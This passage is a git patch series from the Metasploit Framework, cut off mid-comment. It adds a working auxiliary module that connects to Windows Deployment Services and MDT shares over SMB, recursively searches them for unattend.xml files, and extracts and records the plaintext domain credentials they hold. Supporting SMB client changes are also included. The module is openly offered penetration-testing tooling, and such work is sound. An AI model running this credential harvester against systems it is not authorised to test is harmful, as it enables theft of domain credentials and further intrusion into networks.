From edc61a19863c995d916193571ec615b74a33538e Mon Sep 17 00:00:00 2001 From: Meatballs Date: Thu, 31 Jan 2013 20:02:10 +0000 Subject: [PATCH 01/32] Repull --- .../windows_deployment_services_shares.rb | 236 ++++++++++++++++++ 1 file changed, 236 insertions(+) create mode 100644 modules/auxiliary/gather/windows_deployment_services_shares.rb diff --git a/modules/auxiliary/gather/windows_deployment_services_shares.rb b/modules/auxiliary/gather/windows_deployment_services_shares.rb new file mode 100644 index 0000000000..b4a5c4f48d --- /dev/null +++ b/modules/auxiliary/gather/windows_deployment_services_shares.rb @@ -0,0 +1,236 @@ +# +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex/proto/dcerpc' +require 'rex/parser/unattend' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::DCERPC + + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Microsoft Windows Deployment Services Unattend Gatherer', + 'Description' => %q{ + Used after discovering domain credentials with aux/scanner/dcerpc/windows_deployment_services + or if you already have domain credentials. Will attempt to connect to the RemInst share and any + Microsoft Deployment Toolkit shares (identified by comments), search for unattend files, and recover credentials. + }, + 'Author' => [ 'Ben Campbell ' ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'MSDN', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx'], + [ 'URL', 'http://rewtdance.blogspot.co.uk/2012/11/windows-deployment-services-clear-text.html'], + ], + )) + + register_options( + [ + Opt::RPORT(445), + OptString.new('SMBDomain', [ false, "SMB Domain", '']), + ], self.class) + + deregister_options('RHOST', 'CHOST', 'CPORT', 'SSL', 'SSLVersion') + end + + + def share_type(val) + stypes = [ + 'DISK', + 'PRINTER', + 'DEVICE', + 'IPC', + 'SPECIAL', + 'TEMPORARY' + ] + + if val > (stypes.length - 1) + return 'UNKNOWN' + end + + stypes[val] + end + + # Stolen from enumshares - Tried refactoring into simple client, but the two methods need to go in EXPLOIT::SMB and EXPLOIT::DCERPC + # and then the lanman method calls the RPC method. Suggestions where to refactor to welcomed! + def srvsvc_netshareenum + simple.connect("IPC$") + handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\srvsvc"]) + begin + dcerpc_bind(handle) + rescue Rex::Proto::SMB::Exceptions::ErrorCode => e + print_error("#{rhost} : #{e.message}") + return + end + + stubdata = + NDR.uwstring("\\\\#{rhost}") + + NDR.long(1) #level + + ref_id = stubdata[0,4].unpack("V")[0] + ctr = [1, ref_id + 4 , 0, 0].pack("VVVV") + + stubdata << ctr + stubdata << NDR.align(ctr) + stubdata << ["FFFFFFFF"].pack("H*") + stubdata << [ref_id + 8, 0].pack("VV") + response = dcerpc.call(0x0f, stubdata) + res = response.dup + win_error = res.slice!(-4, 4).unpack("V")[0] + if win_error != 0 + raise "DCE/RPC error : Win_error = #{win_error + 0}" + end + #remove some uneeded data + res.slice!(0,12) # level, CTR header, Reference ID of CTR + share_count = res.slice!(0, 4).unpack("V")[0] + res.slice!(0,4) # Reference ID of CTR1 + share_max_count = res.slice!(0, 4).unpack("V")[0] + + raise "Dce/RPC error : Unknow situation encountered count != count max (#{share_count}/#{share_max_count})" if share_max_count != share_count + + types = res.slice!(0, share_count * 12).scan(/.{12}/n).map{|a| a[4,2].unpack("v")[0]} # RerenceID / Type / ReferenceID of Comment + + share_count.times do |t| + length, offset, max_length = res.slice!(0, 12).unpack("VVV") + raise "Dce/RPC error : Unknow situation encountered offset != 0 (#{offset})" if offset != 0 + raise "Dce/RPC error : Unknow situation encountered length !=max_length (#{length}/#{max_length})" if length != max_length + name = res.slice!(0, 2 * length).gsub('\x00','') + res.slice!(0,2) if length % 2 == 1 # pad + + comment_length, comment_offset, comment_max_length = res.slice!(0, 12).unpack("VVV") + raise "Dce/RPC error : Unknow situation encountered comment_offset != 0 (#{comment_offset})" if comment_offset != 0 + if comment_length != comment_max_length + raise "Dce/RPC error : Unknow situation encountered comment_length != comment_max_length (#{comment_length}/#{comment_max_length})" + end + comment = res.slice!(0, 2 * comment_length).gsub('\x00','') + res.slice!(0,2) if comment_length % 2 == 1 # pad + + @shares << [ name, share_type(types[t]), comment] + end + end + + def run_host(ip) + + @shares = [] + deploy_shares = [] + + begin + connect + smb_login + srvsvc_netshareenum + + @shares.each do |share| + # I hate unicode, couldn't find any other way to get these to compare! + # look at iconv for 1.8/1.9 compatability? + if (share[0].unpack('H*') == "REMINST\x00".encode('utf-16LE').unpack('H*')) || + (share[2].unpack('H*') == "MDT Deployment Share\x00".encode('utf-16LE').unpack('H*')) + + print_status("#{ip}:#{rport} #{share[0]} - #{share[1]} - #{share[2]}") + deploy_shares << share[0] + end + end + + deploy_shares.each do |deploy_share| + query_share(ip, deploy_share) + end + + rescue ::Interrupt + raise $! + end + end + + def query_share(rhost, deploy_share) + share_path = "\\\\#{rhost}\\#{deploy_share}" + print_status("Enumerating #{share_path}") + table = Rex::Ui::Text::Table.new({ + 'Header' => share_path, + 'Indent' => 1, + 'Columns' => ['Path', 'Type', 'Domain', 'Username', 'Password'] + }) + + creds_found = false + + # ruby 1.8 compat? + share = deploy_share.force_encoding('utf-16LE').encode('ASCII-8BIT').strip + + begin + simple.connect(share) + rescue ::Exception => e + print_error("#{share_path} - #{e}") + return + end + + results = simple.client.file_search("\\", /unattend.xml$/i, 10) + + results.each do |file_path| + file = simple.open(file_path, 'o').read() + + unless file.nil? + loot_unattend(file) + + creds = parse_client_unattend(file) + creds.each do |cred| + unless cred.empty? + unless cred['username'].nil? || cred['password'].nil? + print_good("Retrived #{cred['type']} credentials from #{file_path}") + creds_found = true + domain = "" + domain = cred['domain'] if cred['domain'] + report_creds(domain, cred['username'], cred['password']) + table << [file_path, cred['type'], domain, cred['username'], cred['password']] + end + end + end + end + end + + if creds_found + print_line + table.print + print_line + else + print_error("No Unattend files found.") + end + end + + def parse_client_unattend(data) + begin + xml = REXML::Document.new(data) + + rescue REXML::ParseException => e + print_error("Invalid XML format") + vprint_line(e.message) + end + + return Rex::Parser::Unattend.parse(xml).flatten + end + + def loot_unattend(data) + return if data.empty? + p = store_loot('windows.unattend.raw', 'text/plain', rhost, data, "Windows Deployment Services") + print_status("Raw version saved as: #{p}") + end + + def report_creds(domain, user, pass) + report_auth_info( + :host => rhost, + :port => 445, + :sname => 'smb', + :proto => 'tcp', + :source_id => nil, + :source_type => "aux", + :user => "#{domain}\\#{user}", + :pass => pass) + end +end From 1e60817ec9d4a32285ad2c44c8d70d7a65e3c5d4 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Thu, 31 Jan 2013 20:07:48 +0000 Subject: [PATCH 02/32] Remember the SMB Changes --- lib/rex/proto/smb/client.rb | 39 ++++++++++++++++++++++++++++++++-- lib/rex/proto/smb/constants.rb | 19 ++++++++++++++++- 2 files changed, 55 insertions(+), 3 deletions(-) diff --git a/lib/rex/proto/smb/client.rb b/lib/rex/proto/smb/client.rb index bec1ff50d5..b16d4c666b 100644 --- a/lib/rex/proto/smb/client.rb +++ b/lib/rex/proto/smb/client.rb @@ -1046,7 +1046,6 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils pkt = CONST::SMB_TREE_CONN_PKT.make_struct self.smb_defaults(pkt['Payload']['SMB']) - pkt['Payload']['SMB'].v['TreeID'] = 0 pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TREE_CONNECT_ANDX pkt['Payload']['SMB'].v['Flags1'] = 0x18 @@ -1899,7 +1898,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils resp = find_next(last_search_id, last_offset, last_filename) search_next = 1 # Flip bit so response params will parse correctly end - end until eos != 0 or last_offset == 0 + end until eos != 0 or last_offset == 0 rescue ::Exception raise $! end @@ -1921,6 +1920,42 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils return resp # Returns the FIND_NEXT2 response packet for parsing by the find_first function end + # Recursively search through directories, to a max depth, searching for filenames + # that matches regex and returns path to matching files. + def file_search(current_path, regex, depth) + depth -= 1 + if depth < 0 + return + end + + results = find_first("#{current_path}*") + files = [] + + results.each do |result| + if result[0] =~ /^(\.){1,2}$/ # Ignore . .. + next + end + + if result[1]['attr'] & CONST::SMB_EXT_FILE_ATTR_DIRECTORY > 0 + search_path = "#{current_path}#{result[0]}\\" + begin + files << file_search(search_path, regex, depth).flatten.compact + rescue Rex::Proto::SMB::Exceptions::ErrorCode => e + # Ignore permission errors + unless e.get_error(e.error_code) == 'STATUS_ACCESS_DENIED' + raise e + end + end + else + if result[0] =~ regex + files << "#{current_path}#{result[0]}" + end + end + end + + return files.flatten.compact + end + # Creates a new directory on the mounted tree def create_directory(name) files = { } diff --git a/lib/rex/proto/smb/constants.rb b/lib/rex/proto/smb/constants.rb index e03085830a..d16a564a41 100644 --- a/lib/rex/proto/smb/constants.rb +++ b/lib/rex/proto/smb/constants.rb @@ -261,11 +261,28 @@ FILE_FILE_COMPRESSION = 0x00000008 FILE_VOLUME_QUOTAS = 0x00000010 FILE_VOLUME_IS_COMPRESSED = 0x00008000 +# SMB_EXT_FILE_ATTR +# http://msdn.microsoft.com/en-us/library/ee878573(prot.20).aspx +MB_EXT_FILE_ATTR_READONLY = 0x00000001 +SMB_EXT_FILE_ATTR_HIDDEN = 0x00000002 +SMB_EXT_FILE_ATTR_SYSTEM = 0x00000004 +SMB_EXT_FILE_ATTR_DIRECTORY = 0x00000010 +SMB_EXT_FILE_ATTR_ARCHIVE = 0x00000020 +SMB_EXT_FILE_ATTR_NORMAL = 0x00000080 +SMB_EXT_FILE_ATTR_TEMPORARY = 0x00000100 +SMB_EXT_FILE_ATTR_COMPRESSED = 0x00000800 +SMB_EXT_FILE_POSIX_SEMANTICS = 0x01000000 +SMB_EXT_FILE_BACKUP_SEMANTICS = 0x02000000 +SMB_EXT_FILE_DELETE_ON_CLOSE = 0x04000000 +SMB_EXT_FILE_SEQUENTIAL_SCAN = 0x08000000 +SMB_EXT_FILE_RANDOM_ACCESS = 0x10000000 +SMB_EXT_FILE_NO_BUFFERING = 0x20000000 +SMB_EXT_FILE_WRITE_THROUGH = 0x80000000 # SMB Error Codes SMB_STATUS_SUCCESS = 0x00000000 SMB_ERROR_BUFFER_OVERFLOW = 0x80000005 -SMB_STATUS_MORE_PROCESSING_REQUIRED = 0xC0000016 +SMB_STATUS_MORE_PROCESSING_REQUIRED = 0xC0000016 SMB_STATUS_ACCESS_DENIED = 0xC0000022 SMB_STATUS_LOGON_FAILURE = 0xC000006D From 739204b86d33f90141f9ffc4530d206dcca0bc98 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Thu, 31 Jan 2013 20:17:25 +0000 Subject: [PATCH 03/32] Build upon A.Maloteaux's SMB fixes --- lib/rex/proto/smb/client.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/rex/proto/smb/client.rb b/lib/rex/proto/smb/client.rb index b16d4c666b..42267652aa 100644 --- a/lib/rex/proto/smb/client.rb +++ b/lib/rex/proto/smb/client.rb @@ -1046,6 +1046,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils pkt = CONST::SMB_TREE_CONN_PKT.make_struct self.smb_defaults(pkt['Payload']['SMB']) + pkt['Payload']['SMB'].v['TreeID'] = 0 pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TREE_CONNECT_ANDX pkt['Payload']['SMB'].v['Flags1'] = 0x18 From 785c2eeb95b0f906d50c1f95296dacf9a403d3ec Mon Sep 17 00:00:00 2001 From: Tab Assassin Date: Thu, 5 Sep 2013 16:20:04 -0500 Subject: [PATCH 04/32] Retab changes for PR #1421 --- lib/rex/proto/smb/client.rb | 492 +++++++++--------- .../windows_deployment_services_shares.rb | 368 ++++++------- 2 files changed, 430 insertions(+), 430 deletions(-) diff --git a/lib/rex/proto/smb/client.rb b/lib/rex/proto/smb/client.rb index a4221f0c84..fc50c54c85 100644 --- a/lib/rex/proto/smb/client.rb +++ b/lib/rex/proto/smb/client.rb @@ -1673,296 +1673,296 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils # Perform a nttransaction request using the specified subcommand, parameters, and data def nttrans_secondary(param = '', body = '', do_recv = true) - data = param + body + data = param + body - pkt = CONST::SMB_NTTRANS_SECONDARY_PKT.make_struct - self.smb_defaults(pkt['Payload']['SMB']) + pkt = CONST::SMB_NTTRANS_SECONDARY_PKT.make_struct + self.smb_defaults(pkt['Payload']['SMB']) - base_offset = pkt.to_s.length - 4 - param_offset = base_offset - data_offset = param_offset + param.length + base_offset = pkt.to_s.length - 4 + param_offset = base_offset + data_offset = param_offset + param.length - pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_TRANSACT_SECONDARY - pkt['Payload']['SMB'].v['Flags1'] = 0x18 - if self.require_signing - #ascii - pkt['Payload']['SMB'].v['Flags2'] = 0x2807 - else - #ascii - pkt['Payload']['SMB'].v['Flags2'] = 0x2801 - end + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_TRANSACT_SECONDARY + pkt['Payload']['SMB'].v['Flags1'] = 0x18 + if self.require_signing + #ascii + pkt['Payload']['SMB'].v['Flags2'] = 0x2807 + else + #ascii + pkt['Payload']['SMB'].v['Flags2'] = 0x2801 + end - pkt['Payload']['SMB'].v['WordCount'] = 18 + pkt['Payload']['SMB'].v['WordCount'] = 18 - pkt['Payload'].v['ParamCountTotal'] = param.length - pkt['Payload'].v['DataCountTotal'] = body.length - pkt['Payload'].v['ParamCount'] = param.length - pkt['Payload'].v['ParamOffset'] = param_offset - pkt['Payload'].v['DataCount'] = body.length - pkt['Payload'].v['DataOffset'] = data_offset + pkt['Payload'].v['ParamCountTotal'] = param.length + pkt['Payload'].v['DataCountTotal'] = body.length + pkt['Payload'].v['ParamCount'] = param.length + pkt['Payload'].v['ParamOffset'] = param_offset + pkt['Payload'].v['DataCount'] = body.length + pkt['Payload'].v['DataOffset'] = data_offset - pkt['Payload'].v['Payload'] = data + pkt['Payload'].v['Payload'] = data - ret = self.smb_send(pkt.to_s) - return ret if not do_recv + ret = self.smb_send(pkt.to_s) + return ret if not do_recv - ack = self.smb_recv_parse(CONST::SMB_COM_NT_TRANSACT_SECONDARY) - return ack - end + ack = self.smb_recv_parse(CONST::SMB_COM_NT_TRANSACT_SECONDARY) + return ack + end - def queryfs(level) - parm = [level].pack('v') + def queryfs(level) + parm = [level].pack('v') - begin - resp = trans2(CONST::TRANS2_QUERY_FS_INFO, parm, '') + begin + resp = trans2(CONST::TRANS2_QUERY_FS_INFO, parm, '') - pcnt = resp['Payload'].v['ParamCount'] - dcnt = resp['Payload'].v['DataCount'] - poff = resp['Payload'].v['ParamOffset'] - doff = resp['Payload'].v['DataOffset'] + pcnt = resp['Payload'].v['ParamCount'] + dcnt = resp['Payload'].v['DataCount'] + poff = resp['Payload'].v['ParamOffset'] + doff = resp['Payload'].v['DataOffset'] - # Get the raw packet bytes - resp_rpkt = resp.to_s + # Get the raw packet bytes + resp_rpkt = resp.to_s - # Remove the NetBIOS header - resp_rpkt.slice!(0, 4) + # Remove the NetBIOS header + resp_rpkt.slice!(0, 4) - resp_parm = resp_rpkt[poff, pcnt] - resp_data = resp_rpkt[doff, dcnt] - return resp_data + resp_parm = resp_rpkt[poff, pcnt] + resp_data = resp_rpkt[doff, dcnt] + return resp_data - rescue ::Exception - raise $! - end - end + rescue ::Exception + raise $! + end + end - def symlink(src,dst) - parm = [513, 0x00000000].pack('vV') + src + "\x00" + def symlink(src,dst) + parm = [513, 0x00000000].pack('vV') + src + "\x00" - begin - resp = trans2(CONST::TRANS2_SET_PATH_INFO, parm, dst + "\x00") + begin + resp = trans2(CONST::TRANS2_SET_PATH_INFO, parm, dst + "\x00") - pcnt = resp['Payload'].v['ParamCount'] - dcnt = resp['Payload'].v['DataCount'] - poff = resp['Payload'].v['ParamOffset'] - doff = resp['Payload'].v['DataOffset'] + pcnt = resp['Payload'].v['ParamCount'] + dcnt = resp['Payload'].v['DataCount'] + poff = resp['Payload'].v['ParamOffset'] + doff = resp['Payload'].v['DataOffset'] - # Get the raw packet bytes - resp_rpkt = resp.to_s + # Get the raw packet bytes + resp_rpkt = resp.to_s - # Remove the NetBIOS header - resp_rpkt.slice!(0, 4) + # Remove the NetBIOS header + resp_rpkt.slice!(0, 4) - resp_parm = resp_rpkt[poff, pcnt] - resp_data = resp_rpkt[doff, dcnt] - return resp_data + resp_parm = resp_rpkt[poff, pcnt] + resp_data = resp_rpkt[doff, dcnt] + return resp_data - rescue ::Exception - raise $! - end - end + rescue ::Exception + raise $! + end + end - # Obtains allocation information on the mounted tree - def queryfs_info_allocation - data = queryfs(CONST::SMB_INFO_ALLOCATION) - head = %w{fs_id sectors_per_unit unit_total units_available bytes_per_sector} - vals = data.unpack('VVVVv') - info = { } - head.each_index {|i| info[head[i]]=vals[i]} - return info - end + # Obtains allocation information on the mounted tree + def queryfs_info_allocation + data = queryfs(CONST::SMB_INFO_ALLOCATION) + head = %w{fs_id sectors_per_unit unit_total units_available bytes_per_sector} + vals = data.unpack('VVVVv') + info = { } + head.each_index {|i| info[head[i]]=vals[i]} + return info + end - # Obtains volume information on the mounted tree - def queryfs_info_volume - data = queryfs(CONST::SMB_INFO_VOLUME) - vals = data.unpack('VCA*') - return { - 'serial' => vals[0], - 'label' => vals[2][0,vals[1]].gsub("\x00", '') - } - end + # Obtains volume information on the mounted tree + def queryfs_info_volume + data = queryfs(CONST::SMB_INFO_VOLUME) + vals = data.unpack('VCA*') + return { + 'serial' => vals[0], + 'label' => vals[2][0,vals[1]].gsub("\x00", '') + } + end - # Obtains file system volume information on the mounted tree - def queryfs_fs_volume - data = queryfs(CONST::SMB_QUERY_FS_VOLUME_INFO) - vals = data.unpack('VVVVCCA*') - return { - 'create_time' => (vals[1] << 32) + vals[0], - 'serial' => vals[2], - 'label' => vals[6][0,vals[3]].gsub("\x00", '') - } - end + # Obtains file system volume information on the mounted tree + def queryfs_fs_volume + data = queryfs(CONST::SMB_QUERY_FS_VOLUME_INFO) + vals = data.unpack('VVVVCCA*') + return { + 'create_time' => (vals[1] << 32) + vals[0], + 'serial' => vals[2], + 'label' => vals[6][0,vals[3]].gsub("\x00", '') + } + end - # Obtains file system size information on the mounted tree - def queryfs_fs_size - data = queryfs(CONST::SMB_QUERY_FS_SIZE_INFO) - vals = data.unpack('VVVVVV') - return { - 'total_alloc_units' => (vals[1] << 32) + vals[0], - 'total_free_units' => (vals[3] << 32) + vals[2], - 'sectors_per_unit' => vals[4], - 'bytes_per_sector' => vals[5] - } - end + # Obtains file system size information on the mounted tree + def queryfs_fs_size + data = queryfs(CONST::SMB_QUERY_FS_SIZE_INFO) + vals = data.unpack('VVVVVV') + return { + 'total_alloc_units' => (vals[1] << 32) + vals[0], + 'total_free_units' => (vals[3] << 32) + vals[2], + 'sectors_per_unit' => vals[4], + 'bytes_per_sector' => vals[5] + } + end - # Obtains file system device information on the mounted tree - def queryfs_fs_device - data = queryfs(CONST::SMB_QUERY_FS_DEVICE_INFO) - vals = data.unpack('VV') - return { - 'device_type' => vals[0], - 'device_chars' => vals[1], - } - end + # Obtains file system device information on the mounted tree + def queryfs_fs_device + data = queryfs(CONST::SMB_QUERY_FS_DEVICE_INFO) + vals = data.unpack('VV') + return { + 'device_type' => vals[0], + 'device_chars' => vals[1], + } + end - # Obtains file system attribute information on the mounted tree - def queryfs_fs_attribute - data = queryfs(CONST::SMB_QUERY_FS_ATTRIBUTE_INFO) - vals = data.unpack('VVVA*') - return { - 'fs_attributes' => vals[0], - 'max_file_name' => vals[1], - 'fs_name' => vals[3][0, vals[2]].gsub("\x00", '') - } - end + # Obtains file system attribute information on the mounted tree + def queryfs_fs_attribute + data = queryfs(CONST::SMB_QUERY_FS_ATTRIBUTE_INFO) + vals = data.unpack('VVVA*') + return { + 'fs_attributes' => vals[0], + 'max_file_name' => vals[1], + 'fs_name' => vals[3][0, vals[2]].gsub("\x00", '') + } + end - # Enumerates a specific path on the mounted tree - def find_first(path) - files = { } - parm = [ - 26, # Search for ALL files - 20, # Maximum search count - 6, # Resume and Close on End of Search - 260, # Level of interest - 0, # Storage type is zero - ].pack('vvvvV') + path + "\x00" + # Enumerates a specific path on the mounted tree + def find_first(path) + files = { } + parm = [ + 26, # Search for ALL files + 20, # Maximum search count + 6, # Resume and Close on End of Search + 260, # Level of interest + 0, # Storage type is zero + ].pack('vvvvV') + path + "\x00" - begin - resp = trans2(CONST::TRANS2_FIND_FIRST2, parm, '') - search_next = 0 - begin - pcnt = resp['Payload'].v['ParamCount'] - dcnt = resp['Payload'].v['DataCount'] - poff = resp['Payload'].v['ParamOffset'] - doff = resp['Payload'].v['DataOffset'] + begin + resp = trans2(CONST::TRANS2_FIND_FIRST2, parm, '') + search_next = 0 + begin + pcnt = resp['Payload'].v['ParamCount'] + dcnt = resp['Payload'].v['DataCount'] + poff = resp['Payload'].v['ParamOffset'] + doff = resp['Payload'].v['DataOffset'] - # Get the raw packet bytes - resp_rpkt = resp.to_s + # Get the raw packet bytes + resp_rpkt = resp.to_s - # Remove the NetBIOS header - resp_rpkt.slice!(0, 4) + # Remove the NetBIOS header + resp_rpkt.slice!(0, 4) - resp_parm = resp_rpkt[poff, pcnt] - resp_data = resp_rpkt[doff, dcnt] + resp_parm = resp_rpkt[poff, pcnt] + resp_data = resp_rpkt[doff, dcnt] - if search_next == 0 - # search id, search count, end of search, error offset, last name offset - sid, scnt, eos, eoff, loff = resp_parm.unpack('v5') - else - # FINX_NEXT doesn't return a SID - scnt, eos, eoff, loff = resp_parm.unpack('v4') - end - didx = 0 - while (didx < resp_data.length) - info_buff = resp_data[didx, 70] - break if info_buff.length != 70 - info = info_buff.unpack( - 'V'+ # Next Entry Offset - 'V'+ # File Index - 'VV'+ # Time Create - 'VV'+ # Time Last Access - 'VV'+ # Time Last Write - 'VV'+ # Time Change - 'VV'+ # End of File - 'VV'+ # Allocation Size - 'V'+ # File Attributes - 'V'+ # File Name Length - 'V'+ # Extended Attr List Length - 'C'+ # Short File Name Length - 'C' # Reserved - ) - name = resp_data[didx + 70 + 24, info[15]].sub!(/\x00+$/, '') - files[name] = - { - 'type' => (info[14] & 0x10) ? 'D' : 'F', - 'attr' => info[14], - 'info' => info - } + if search_next == 0 + # search id, search count, end of search, error offset, last name offset + sid, scnt, eos, eoff, loff = resp_parm.unpack('v5') + else + # FINX_NEXT doesn't return a SID + scnt, eos, eoff, loff = resp_parm.unpack('v4') + end + didx = 0 + while (didx < resp_data.length) + info_buff = resp_data[didx, 70] + break if info_buff.length != 70 + info = info_buff.unpack( + 'V'+ # Next Entry Offset + 'V'+ # File Index + 'VV'+ # Time Create + 'VV'+ # Time Last Access + 'VV'+ # Time Last Write + 'VV'+ # Time Change + 'VV'+ # End of File + 'VV'+ # Allocation Size + 'V'+ # File Attributes + 'V'+ # File Name Length + 'V'+ # Extended Attr List Length + 'C'+ # Short File Name Length + 'C' # Reserved + ) + name = resp_data[didx + 70 + 24, info[15]].sub!(/\x00+$/, '') + files[name] = + { + 'type' => (info[14] & 0x10) ? 'D' : 'F', + 'attr' => info[14], + 'info' => info + } - break if info[0] == 0 - didx += info[0] - end - last_search_id = sid - last_offset = loff - last_filename = name - if eos == 0 and last_offset != 0 #If we aren't at the end of the search, run find_next - resp = find_next(last_search_id, last_offset, last_filename) - search_next = 1 # Flip bit so response params will parse correctly - end - end until eos != 0 or last_offset == 0 - rescue ::Exception - raise $! - end + break if info[0] == 0 + didx += info[0] + end + last_search_id = sid + last_offset = loff + last_filename = name + if eos == 0 and last_offset != 0 #If we aren't at the end of the search, run find_next + resp = find_next(last_search_id, last_offset, last_filename) + search_next = 1 # Flip bit so response params will parse correctly + end + end until eos != 0 or last_offset == 0 + rescue ::Exception + raise $! + end - return files - end + return files + end - # Supplements find_first if file/dir count exceeds max search count - def find_next(sid, resume_key, last_filename) + # Supplements find_first if file/dir count exceeds max search count + def find_next(sid, resume_key, last_filename) - parm = [ - sid, # Search ID - 20, # Maximum search count (Size of 20 keeps response to 1 packet) - 260, # Level of interest - resume_key, # Resume key from previous (Last name offset) - 6, # Close search if end of search - ].pack('vvvVv') + last_filename + "\x00" # Last filename returned from find_first or find_next - resp = trans2(CONST::TRANS2_FIND_NEXT2, parm, '') - return resp # Returns the FIND_NEXT2 response packet for parsing by the find_first function - end + parm = [ + sid, # Search ID + 20, # Maximum search count (Size of 20 keeps response to 1 packet) + 260, # Level of interest + resume_key, # Resume key from previous (Last name offset) + 6, # Close search if end of search + ].pack('vvvVv') + last_filename + "\x00" # Last filename returned from find_first or find_next + resp = trans2(CONST::TRANS2_FIND_NEXT2, parm, '') + return resp # Returns the FIND_NEXT2 response packet for parsing by the find_first function + end - # Recursively search through directories, to a max depth, searching for filenames - # that matches regex and returns path to matching files. - def file_search(current_path, regex, depth) - depth -= 1 - if depth < 0 - return - end + # Recursively search through directories, to a max depth, searching for filenames + # that matches regex and returns path to matching files. + def file_search(current_path, regex, depth) + depth -= 1 + if depth < 0 + return + end - results = find_first("#{current_path}*") - files = [] + results = find_first("#{current_path}*") + files = [] - results.each do |result| - if result[0] =~ /^(\.){1,2}$/ # Ignore . .. - next - end + results.each do |result| + if result[0] =~ /^(\.){1,2}$/ # Ignore . .. + next + end - if result[1]['attr'] & CONST::SMB_EXT_FILE_ATTR_DIRECTORY > 0 - search_path = "#{current_path}#{result[0]}\\" - begin - files << file_search(search_path, regex, depth).flatten.compact - rescue Rex::Proto::SMB::Exceptions::ErrorCode => e - # Ignore permission errors - unless e.get_error(e.error_code) == 'STATUS_ACCESS_DENIED' - raise e - end - end - else - if result[0] =~ regex - files << "#{current_path}#{result[0]}" - end - end - end + if result[1]['attr'] & CONST::SMB_EXT_FILE_ATTR_DIRECTORY > 0 + search_path = "#{current_path}#{result[0]}\\" + begin + files << file_search(search_path, regex, depth).flatten.compact + rescue Rex::Proto::SMB::Exceptions::ErrorCode => e + # Ignore permission errors + unless e.get_error(e.error_code) == 'STATUS_ACCESS_DENIED' + raise e + end + end + else + if result[0] =~ regex + files << "#{current_path}#{result[0]}" + end + end + end - return files.flatten.compact - end + return files.flatten.compact + end - # Creates a new directory on the mounted tree - def create_directory(name) - files = { } - parm = [0].pack('V') + name + "\x00" - resp = trans2(CONST::TRANS2_CREATE_DIRECTORY, parm, '') - end + # Creates a new directory on the mounted tree + def create_directory(name) + files = { } + parm = [0].pack('V') + name + "\x00" + resp = trans2(CONST::TRANS2_CREATE_DIRECTORY, parm, '') + end # public read/write methods attr_accessor :native_os, :native_lm, :encrypt_passwords, :extended_security, :read_timeout, :evasion_opts diff --git a/modules/auxiliary/gather/windows_deployment_services_shares.rb b/modules/auxiliary/gather/windows_deployment_services_shares.rb index b4a5c4f48d..73647aa0e5 100644 --- a/modules/auxiliary/gather/windows_deployment_services_shares.rb +++ b/modules/auxiliary/gather/windows_deployment_services_shares.rb @@ -11,226 +11,226 @@ require 'rex/parser/unattend' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated - include Msf::Exploit::Remote::DCERPC + include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::DCERPC - include Msf::Auxiliary::Report - include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Microsoft Windows Deployment Services Unattend Gatherer', - 'Description' => %q{ - Used after discovering domain credentials with aux/scanner/dcerpc/windows_deployment_services - or if you already have domain credentials. Will attempt to connect to the RemInst share and any - Microsoft Deployment Toolkit shares (identified by comments), search for unattend files, and recover credentials. - }, - 'Author' => [ 'Ben Campbell ' ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'MSDN', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx'], - [ 'URL', 'http://rewtdance.blogspot.co.uk/2012/11/windows-deployment-services-clear-text.html'], - ], - )) + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Microsoft Windows Deployment Services Unattend Gatherer', + 'Description' => %q{ + Used after discovering domain credentials with aux/scanner/dcerpc/windows_deployment_services + or if you already have domain credentials. Will attempt to connect to the RemInst share and any + Microsoft Deployment Toolkit shares (identified by comments), search for unattend files, and recover credentials. + }, + 'Author' => [ 'Ben Campbell ' ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'MSDN', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx'], + [ 'URL', 'http://rewtdance.blogspot.co.uk/2012/11/windows-deployment-services-clear-text.html'], + ], + )) - register_options( - [ - Opt::RPORT(445), - OptString.new('SMBDomain', [ false, "SMB Domain", '']), - ], self.class) + register_options( + [ + Opt::RPORT(445), + OptString.new('SMBDomain', [ false, "SMB Domain", '']), + ], self.class) - deregister_options('RHOST', 'CHOST', 'CPORT', 'SSL', 'SSLVersion') - end + deregister_options('RHOST', 'CHOST', 'CPORT', 'SSL', 'SSLVersion') + end - def share_type(val) - stypes = [ - 'DISK', - 'PRINTER', - 'DEVICE', - 'IPC', - 'SPECIAL', - 'TEMPORARY' - ] + def share_type(val) + stypes = [ + 'DISK', + 'PRINTER', + 'DEVICE', + 'IPC', + 'SPECIAL', + 'TEMPORARY' + ] - if val > (stypes.length - 1) - return 'UNKNOWN' - end + if val > (stypes.length - 1) + return 'UNKNOWN' + end - stypes[val] - end + stypes[val] + end - # Stolen from enumshares - Tried refactoring into simple client, but the two methods need to go in 